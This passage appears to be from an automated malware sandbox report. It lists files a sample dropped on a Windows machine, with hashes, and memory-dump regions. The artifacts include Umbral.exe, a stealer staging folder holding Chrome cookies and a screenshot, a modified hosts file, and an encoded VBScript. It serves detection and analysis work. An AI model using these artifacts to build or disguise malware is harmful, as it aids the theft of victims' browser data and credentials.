684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Umbral.exe.log

Filesize
1KB

MD5
4c8fa14eeeeda6fe76a08d14e08bf756

SHA1
30003b6798090ec74eb477bbed88e086f8552976

SHA256
7ebfcfca64b0c1c9f0949652d50a64452b35cefe881af110405cd6ec45f857a5

SHA512
116f80182c25cf0e6159cf59a35ee27d66e431696d29ec879c44521a74ab7523cbfdefeacfb6a3298b48788d7a6caa5336628ec9c1d8b9c9723338dcffea4116

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\surrogatehost.exe.log

Filesize
1KB

MD5
7f3c0ae41f0d9ae10a8985a2c327b8fb

SHA1
d58622bf6b5071beacf3b35bb505bde2000983e3

SHA256
519fceae4d0dd4d09edd1b81bcdfa8aeab4b59eee77a4cd4b6295ce8e591a900

SHA512
8a8fd17eef071f86e672cba0d8fc2cfed6118aff816100b9d7c06eb96443c04c04bc5692259c8d7ecb1563e877921939c61726605af4f969e3f586f0913ed125

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
74a6b79d36b4aae8b027a218bc6e1af7

SHA1
0350e46c1df6934903c4820a00b0bc4721779e5f

SHA256
60c64f6803d7ad1408d0a8628100470859b16ef332d5f1bd8bb2debe51251d04

SHA512
60e71435a9a23f4c144d641844f4182ddc9aa4ccd3e99232149a187112dce96458aab9587e9fea46f5dc5a52f5ca758969a04657a2b5b10241d3e4554f7c85e0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ec1ba4a995d866b282087b26a0539bbc

SHA1
c4aeae2bc3fa9a898680648b20102f01e8a811cf

SHA256
469da678c3c0364b1b511962cffd44cbfc10aab5c1c528c0c09fd952f08d8a2c

SHA512
07bf757ec9d0d368d3ef1bfc2b562895e2708757f8fefa04fa50beaa6fb38af1018ea0cfccf5666c5c8baa4c894deead9652c53e0608aa6a83ef5b396dba43e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
227KB

MD5
84c4d70a6de6f6a794b0e287ea519458

SHA1
97d25a2f209caa27a744b0efd281e401a94a87d4

SHA256
fd86b4c8eb8469a5f88085f512d83afa7ef5bc637156db24e49669ffbc55b06f

SHA512
f2411a0614813e1a33fa7e70923ef37cd840627ca6d6af348906ca72d8b8710c575ebcd996067200e7d8237ab537279fef720d33f4ff4cb3dca1ba52fa29ff21

Download Submit
C:\Users\Admin\AppData\Local\Temp\UnHWiFVbkWk5MZf

Filesize
20KB

MD5
fd33ada888bb588c9b52406b139625d9

SHA1
989469b3bd958b6d5877b822ca6f67163d1e916b

SHA256
a7b896ae4424ed58948587073f5d2acafeec1bdd775e0ec3af5540a6935edba6

SHA512
2e14482d89d761e9944c89407728c1627b711765991720b19b308540ae31d92fd9fd4ba5dd27b981ac4e0e974b4d2b87c3d8a12f38dd2268c616d1c5817450ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\UnHWiFVbkWk5MZf

Filesize
20KB

MD5
49693267e0adbcd119f9f5e02adf3a80

SHA1
3ba3d7f89b8ad195ca82c92737e960e1f2b349df

SHA256
d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f

SHA512
b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ogumfibd.gow.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\eOnJx8m5szhN2lA

Filesize
48KB

MD5
349e6eb110e34a08924d92f6b334801d

SHA1
bdfb289daff51890cc71697b6322aa4b35ec9169

SHA256
c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a

SHA512
2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574

Download Submit
C:\Users\Admin\AppData\Local\Temp\fix.exe

Filesize
777KB

MD5
c753914461faaf452c641fb686ca004b

SHA1
c7b16380f8bc9f9a24dc91f083ba2dadc8356a9d

SHA256
5e794482cab6f03c7095ea2c768ea38283fa44e73520fee7d4ebb4ead424f469

SHA512
80f1b9559b735e076b032e4c5743fd085cb6f75388e107806800eced745786188d7f170da9d6584f9f64d0bf4cada46e103b64082425b219d87080620bcefe91

Download Submit
C:\Users\Admin\AppData\Local\Temp\fixermachine.exe

Filesize
872KB

MD5
678712506c4fb19070c35596abf0b94c

SHA1
0fbf492d44960c3faae711fe93ecdb05293f3d01

SHA256
6c49fbaf56448928b2696373d509ed1f04785fc67818e4d7f4c9fe0cb406bb4c

SHA512
80d27edcaab8250d79274e76a7b15cdc4dc65b5a2111bd7a4ec69e85f30ac4b7e08458175c62f016e78f8c9c82b504ef649572ca97359837bacb66204469d540

Download Submit
C:\Users\Admin\AppData\Local\Temp\gLrXrgbdyuiiBNy\Browsers\Cookies\Chrome Cookies.txt

Filesize
260B

MD5
26da62e27a9ec962f09f1fac091c1645

SHA1
62a31db740f8b3f771b2338de5a8b4cc52493d9f

SHA256
d7bfa475ab580fd739f1d857113fe9fd6b97d4ea4233ba57c706a2105055bd11

SHA512
8217432de77d144ab54781e2d5bd880f4080c05f7f0106844d5e2dcd9639c8da94a1dc3ffbc72b4858af92e1fed8ad00580e7fd0dd60b2ef8b45e6ba529189f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\gLrXrgbdyuiiBNy\Display\Display.png

Filesize
427KB

MD5
e3cf148dd1414c3208bdbb994ce85a2c

SHA1
9256a174d139502f8fd4b539d2526569d648a566

SHA256
57280570ab4bdd34af7ee88ddb17fe085d0a68e3b7fb5c282db7ce95f80b7e3c

SHA512
d59a1a71d5af3930dbe4227b208435dcb91a028480f41830ac3da27d439f5562ae612e3620cf80b6dd2a20b60fa04ebfc24d7fe5fe3133181f7dd2efa02c168e

Download Submit
C:\Users\Admin\AppData\Local\Temp\qUSvwEgdiQXaMtr

Filesize
40KB

MD5
a182561a527f929489bf4b8f74f65cd7

SHA1
8cd6866594759711ea1836e86a5b7ca64ee8911f

SHA256
42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

SHA512
9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

Download Submit
C:\Users\Admin\AppData\Local\Temp\ыв.exe

Filesize
1.3MB

MD5
7c24ff1412c417a43eba35bd3725b494

SHA1
4caefdba646a66e69a902fc55aacd75239003a48

SHA256
296bc7bff55bd69da0bcd32e8d2c1adec4bc577a5518932f5f8249c53ac72d27

SHA512
14c847789d7dda152d185df7086238df7cab92d2979dbede33a4acf7b5521fbbc09583bb0db2c524756e030b6c86935fc9f3681244be723cdb68cdeacbd83db2

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
4028457913f9d08b06137643fe3e01bc

SHA1
a5cb3f12beaea8194a2d3d83a62bdb8d558f5f14

SHA256
289d433902418aaf62e7b96b215ece04fcbcef2457daf90f46837a4d5090da58

SHA512
c8e1eef90618341bbde885fd126ece2b1911ca99d20d82f62985869ba457553b4c2bf1e841fd06dacbf27275b3b0940e5a794e1b1db0fd56440a96592362c28b

Download Submit
C:\hyperBroker\H16DMJb6ExRzQT9HNbwY3XxWipUbF.bat

Filesize
34B

MD5
af79a4948d935e336e16f5da6d47b37a

SHA1
ea68408dd0f21436cad2a3fe2a2bf8d86b0b86d1

SHA256
57eca70c318a217c78ded3d84f9d0024885e30fe0f5d5255bf17920ff7347929

SHA512
e6670e40ac425c751dd60c353cc9ce7988a35c90d0b51b85d07d2e2c7c9d59268c41596c13f40e94568ccb1e35860f2b3c0bc6f47b3774215c4324286e864d16

Download Submit
C:\hyperBroker\HQYUReo1f8m.vbe

Filesize
217B

MD5
39187c6903e4dc4e96b59be360916231

SHA1
54f8e68c5eac3f194026251cea74e9dbdbdcc13e

SHA256
10ac6b1e5488926c810d0bc22be17081bb6a272fee155542217e7223eecc6fd8

SHA512
a59a6b566b8ffa8e498a78428f95575c54cca09239933dbe88db4c51f5d57cb47c4ec772decf35425f4fe4b4ebe8c5af96de348e7eb5d44284c1a37697cfb297

Download Submit
C:\hyperBroker\surrogatehost.exe

Filesize
998KB

MD5
7499358db6b8c37ca4b79d8a4adb6166

SHA1
7568e7dd876f09be4d71d1e57d8a6c56f35ab40c

SHA256
38b3eabe4caf5b79ddb04c7148918c8721e79a4052f1461f27fc87753794eba3

SHA512
6893966d24892227d07f45e9115f8997cc561f0815752af1d3266534a2af08e840b404715944f6b8dea0d167ea342223d054b468ac080ebf6314d59c9d845d33

Download Submit
memory/1428-23-0x00007FF80F380000-0x00007FF80FE41000-memory.dmp

Filesize
10.8MB

Download
memory/1428-19-0x00007FF80F380000-0x00007FF80FE41000-memory.dmp

Filesize
10.8MB

Download
memory/1428-15-0x00007FF80F380000-0x00007FF80FE41000-memory.dmp

Filesize
10.8MB

Download
memory/1472-18-0x0000000000380000-0x0000000000460000-memory.dmp

Filesize
896KB

Download
memory/1472-48-0x00007FF80F380000-0x00007FF80FE41000-memory.dmp

Filesize
10.8MB

Download
memory/1472-16-0x00007FF80F380000-0x00007FF80FE41000-memory.dmp

Filesize
10.8MB

Download
memory/2912-179-0x000000001B0B0000-0x000000001B0BA000-memory.dmp

Filesize
40KB

Download
memory/2912-181-0x000000001B0C0000-0x000000001B0CC000-memory.dmp

Filesize
48KB

Download
memory/2912-170-0x00000000004C0000-0x00000000005C0000-memory.dmp

Filesize
1024KB

Download
memory/2912-183-0x000000001B0E0000-0x000000001B0EC000-memory.dmp

Filesize
48KB

Download
memory/2912-182-0x000000001B0D0000-0x000000001B0DA000-memory.dmp

Filesize
40KB

Download
memory/3828-67-0x000002901E150000-0x000002901E172000-memory.dmp

Filesize
136KB

Download
memory/4480-47-0x0000000000190000-0x0000000000258000-memory.dmp

Filesize
800KB

Download
memory/4900-97-0x00000167A00A0000-0x00000167A00F0000-memory.dmp

Filesize
320KB

Download
memory/4900-98-0x000001679E7B0000-0x000001679E7CE000-memory.dmp

Filesize
120KB

Download
memory/4900-136-0x00000167B87D0000-0x00000167B87DA000-memory.dmp

Filesize
40KB

Download
memory/4900-96-0x00000167B8B10000-0x00000167B8B86000-memory.dmp

Filesize
472KB

Download
memory/4900-137-0x00000167B8800000-0x00000167B8812000-memory.dmp

Filesize
72KB

Download
memory/4900-42-0x000001679E2E0000-0x000001679E320000-memory.dmp

Filesize
256KB

Download
memory/5116-0-0x00007FF80F383000-0x00007FF80F385000-memory.dmp

Filesize
8KB

Download
memory/5116-17-0x00007FF80F380000-0x00007FF80FE41000-memory.dmp

Filesize
10.8MB

Download
memory/5116-2-0x00007FF80F380000-0x00007FF80FE41000-memory.dmp

Filesize
10.8MB

Download
memory/5116-1-0x00000000000D0000-0x0000000000204000-memory.dmp

Filesize
1.2MB

Download